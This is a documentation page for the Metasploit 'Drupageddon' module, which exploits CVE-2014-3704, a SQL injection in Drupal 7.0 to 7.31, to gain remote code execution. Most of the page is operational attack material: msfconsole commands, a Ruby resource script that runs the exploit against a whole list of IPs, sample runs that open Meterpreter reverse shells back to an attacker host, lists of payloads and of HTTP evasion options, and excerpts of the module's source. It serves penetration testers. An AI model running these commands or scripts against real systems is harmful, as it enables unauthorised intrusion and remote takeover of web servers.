Drupal HTTP Parameter Key/Value SQL Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/drupal_drupageddon metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Drupal HTTP Parameter Key/Value SQL Injection
Module: exploit/multi/http/drupal_drupageddon
Source code: modules/exploits/multi/http/drupal_drupageddon.rb
Disclosure date: 2014-10-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-3704
This module is also known as Drupageddon.
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection (aka Drupageddon) in order to achieve a remote shell on the vulnerable instance. This module was tested against Drupal 7.0 and 7.31 (was fixed in 7.32). Two methods are available to trigger the PHP payload on the target: - set TARGET 0: Form-cache PHP injection method (default). This uses the SQLi to upload a malicious form to Drupal's cache, then trigger the cache entry to execute the payload using a POP chain. - set TARGET 1: User-post injection method. This creates a new Drupal user, adds it to the administrators group, enable Drupal's PHP module, grant the administrators the right to bundle PHP code in their post, create a new post containing the payload and preview it to trigger the payload execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using drupal_drupageddon against a single host
Normally, you can use exploit/multi/http/drupal_drupageddon this way:
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > show targets
... a list of targets ...
msf exploit(drupal_drupageddon) > set TARGET target-id
msf exploit(drupal_drupageddon) > show options
... show and set options ...
msf exploit(drupal_drupageddon) > exploit
Using drupal_drupageddon against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your drupal_drupageddon will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/drupal_drupageddon")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Drupal 7.31 official download
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/drupal_drupageddon
- Do:
set rhost <ip>
- Do:
run
- You should get a shell.
Scenarios
This is a run against a Drupal 7.31 linux box.
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon)
msf exploit(drupal_drupageddon) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf exploit(drupal_drupageddon) > set verbose true
verbose => true
msf exploit(drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Testing page
[*] form_build_id: form-a1VaaaEaa0lUvL79wIAfdQEaaJRw8P7a1aWGXElI_Go
[*] form_token:
[*] password hash: $P\$8zAAApjTciVA2qz7HdAA0UjAAwUft00
[*] Creating new user AaCaUlLaPR:AAgeAAAAjA
[*] Logging in as AaCaUlLaPR:AAgeAAAAjA
[*] cookie: SESS911797186fac11111d08b1111a15db55=aaSfinhC0AAAAbzhAoO3bBaaOerRrvpn3cL0rA77Dhg;
[*] Trying to parse enabled modules
[*] form_build_id: form-YZljDkG8n5AAaAaAaaaYGLaP8MIfdif5VfwjQMMxdN0
[*] form_token: Bj92oAaAaWRwqyAAAySWQpeUI03aA9wfkAozXsk_t_E
[*] Enabling the PHP filter module
[*] Setting permissions for PHP filter module
[*] form_build_id: form-1Z1pAg11amM-1jHALgm1AAAAA1JdwAAA1qXnSTZahPA
[*] form_token: kAA1A1AfqK_PvJQi1AAAAAAAAxyGyLvHemBor1q11Z1
[*] admin role id: 3
[*] Getting tokens from create new article page
[*] form_build_id: form-_-leQaaaAAeBXbAaAAaaAAx1IrYSI1qeA2OGf2Ce1vs
[*] form_token: Ib1y8aAaaAAAdapA53kUcfWf7msTRHiDUb_CIKzAAAA
[*] Calling preview page. Exploit should trigger...
[*] Sending stage (33721 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:45388) at 2016-08-25 11:30:41 -0400
meterpreter > sysinfo
Computer : drupal
OS : Linux drupal 2.6.32-642.3.1.el6.x86_64 #1 SMP Sun Jun 26 18:16:44 EDT 2016 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: apache (48)
Go back to menu.
Msfconsole Usage
Here is how the multi/http/drupal_drupageddon exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/drupal_drupageddon
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/drupal_drupageddon) > show info
Name: Drupal HTTP Parameter Key/Value SQL Injection
Module: exploit/multi/http/drupal_drupageddon
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-10-15
Provided by:
SektionEins
WhiteWinterWolf
Christian Mehlmauer <[email protected]>
Brandon Perry
Available targets:
Id Name
-- ----
0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
1 Drupal 7.0 - 7.31 (user-post PHP injection method)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the Drupal HTTP Parameter Key/Value SQL
Injection (aka Drupageddon) in order to achieve a remote shell on
the vulnerable instance. This module was tested against Drupal 7.0
and 7.31 (was fixed in 7.32). Two methods are available to trigger
the PHP payload on the target: - set TARGET 0: Form-cache PHP
injection method (default). This uses the SQLi to upload a malicious
form to Drupal's cache, then trigger the cache entry to execute the
payload using a POP chain. - set TARGET 1: User-post injection
method. This creates a new Drupal user, adds it to the
administrators group, enable Drupal's PHP module, grant the
administrators the right to bundle PHP code in their post, create a
new post containing the payload and preview it to trigger the
payload execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-3704
https://www.drupal.org/SA-CORE-2014-005
http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
Also known as:
Drupageddon
Module Options
This is a complete list of options available in the multi/http/drupal_drupageddon exploit:
msf6 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
Advanced Options
Here is a complete list of advanced options supported by the multi/http/drupal_drupageddon exploit:
msf6 exploit(multi/http/drupal_drupageddon) > show advanced
Module advanced options (exploit/multi/http/drupal_drupageddon):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMIN_ROLE administrator yes The administrator role (user-post method only)
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
Iter 10 yes Hash iterations (2^ITER, user-post method only))
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Wait 5 yes Number of seconds to wait before triggering the payload sent (form-cache method only).
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/drupal_drupageddon module can exploit:
msf6 exploit(multi/http/drupal_drupageddon) > show targets
Exploit targets:
Id Name
-- ----
0 Drupal 7.0 - 7.31 (form-cache PHP injection method)
1 Drupal 7.0 - 7.31 (user-post PHP injection method)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/drupal_drupageddon exploit:
msf6 exploit(multi/http/drupal_drupageddon) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/drupal_drupageddon exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/drupal_drupageddon) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- No response or response body, bailing.
- No response or response body, bailing.
- No response or response body, bailing.
- No modules enabled is incorrect, bailing.
- No response or response body, bailing.
- No response or response body, bailing.
- No enabled permissions were able to be parsed, bailing.
- Could not parse out administrator ID
- No response or response body, bailing.
- No response or response body, bailing.
- Invalid target selected.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
261: 'q' => 'user/login'
262: }
263: })
264:
265: unless res and res.body
266: fail_with(Failure::Unknown, "No response or response body, bailing.")
267: end
268:
269: form_build_id, form_token = extract_form_ids(res.body)
270:
271: user = Rex::Text.rand_text_alpha(10)
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
289: 'q' => 'user/login'
290: }
291: })
292:
293: unless res and res.body
294: fail_with(Failure::Unknown, "No response or response body, bailing.")
295: end
296:
297: # login
298: print_status("Logging in as #{user}:#{pass}")
299: res = send_request_cgi({
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
310: 'q' => 'user/login'
311: }
312: })
313:
314: unless res and res.code == 302
315: fail_with(Failure::Unknown, "No response or response body, bailing.")
316: end
317:
318: cookie = res.get_cookies
319: vprint_status("cookie: #{cookie}")
320:
No modules enabled is incorrect, bailing.
Here is a relevant code snippet related to the "No modules enabled is incorrect, bailing." error message:
332:
333: enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
334: enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
335:
336: unless enabled_matches
337: fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
338: end
339:
340: post = {
341: 'modules[Core][php][enable]' => '1',
342: 'form_build_id' => form_build_id,
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
360: },
361: 'cookie' => cookie
362: })
363:
364: unless res and res.body
365: fail_with(Failure::Unknown, "No response or response body, bailing.")
366: end
367:
368: # Response: http 302, Location: http://10.211.55.50/?q=admin/modules
369:
370: print_status("Setting permissions for PHP filter module")
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
378: 'cookie' => cookie
379: })
380:
381:
382: unless res and res.body
383: fail_with(Failure::Unknown, "No response or response body, bailing.")
384: end
385:
386: form_build_id, form_token = extract_form_ids(res.body)
387:
388: perm_regex = /name="(.*)" value="(.*)" checked="checked"/
No enabled permissions were able to be parsed, bailing.
Here is a relevant code snippet related to the "No enabled permissions were able to be parsed, bailing." error message:
387:
388: perm_regex = /name="(.*)" value="(.*)" checked="checked"/
389: enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
390:
391: unless enabled_perms
392: fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
393: end
394:
395: # get administrator role id
396: id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
397: vprint_status("admin role id: #{id}")
Could not parse out administrator ID
Here is a relevant code snippet related to the "Could not parse out administrator ID" error message:
395: # get administrator role id
396: id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
397: vprint_status("admin role id: #{id}")
398:
399: unless id
400: fail_with(Failure::Unknown, "Could not parse out administrator ID")
401: end
402:
403: post = {
404: "#{id}[use text format php_code]" => 'use text format php_code',
405: 'form_build_id' => form_build_id,
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
421: },
422: 'cookie' => cookie
423: })
424:
425: unless res and res.body
426: fail_with(Failure::Unknown, "No response or response body, bailing.")
427: end
428:
429: # Add new Content page (extract csrf token)
430: print_status("Getting tokens from create new article page")
431: res = send_request_cgi({
No response or response body, bailing.
Here is a relevant code snippet related to the "No response or response body, bailing." error message:
435: },
436: 'cookie' => cookie
437: })
438:
439: unless res and res.body
440: fail_with(Failure::Unknown, "No response or response body, bailing.")
441: end
442:
443: form_build_id, form_token = extract_form_ids(res.body)
444:
445: # Preview to trigger the payload
Invalid target selected.
Here is a relevant code snippet related to the "Invalid target selected." error message:
476: def exploit
477: case datastore['TARGET']
478: when 0
479: exploit_formcache
480: when 1
481: exploit_newuser
482: else
483: fail_with(Failure::BadConfig, "Invalid target selected.")
484: end
485: end
486: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12696 Merged Pull Request: add missing aka to some modules
- #9215 Merged Pull Request: New exploit method for Drupageddon (CVE-2014-3704)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5218 Merged Pull Request: Fix #3816 by deleting print_debug
- #4485 Merged Pull Request: update drupal regex
- #4373 Merged Pull Request: fix invalid URI scheme
- #4037 Merged Pull Request: Create drupal_drupageddon.rb -- CVE-2014-3704
References
- CVE-2014-3704
- https://www.drupal.org/SA-CORE-2014-005
- http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
- https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
See Also
Check also the following modules related to this module:
- auxiliary/gather/drupal_openid_xxe
- auxiliary/scanner/http/drupal_views_user_enum
- exploit/unix/webapp/drupal_coder_exec
- exploit/unix/webapp/drupal_drupalgeddon2
- exploit/unix/webapp/drupal_restws_exec
- exploit/unix/webapp/drupal_restws_unserialize
Related Nessus plugins:
- Drupal 7.x < 7.32 SQLi
- Drupal Database Abstraction API SQLi
- Debian DSA-3051-1 : drupal7 - security update
- FreeBSD : drupal7 -- SQL injection (6f825fa4-5560-11e4-a4c3-00a0986f28c4)
- Fedora 20 : drupal7-7.32-1.fc20 (2014-13030)
- Fedora 19 : drupal7-7.32-1.fc19 (2014-13053)
- Fedora 21 : drupal7-7.32-1.fc21 (2014-12934)
- Mandriva Linux Security Advisory : drupal (MDVSA-2015:181)
Authors
- SektionEins
- WhiteWinterWolf
- Christian Mehlmauer
- Brandon Perry
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.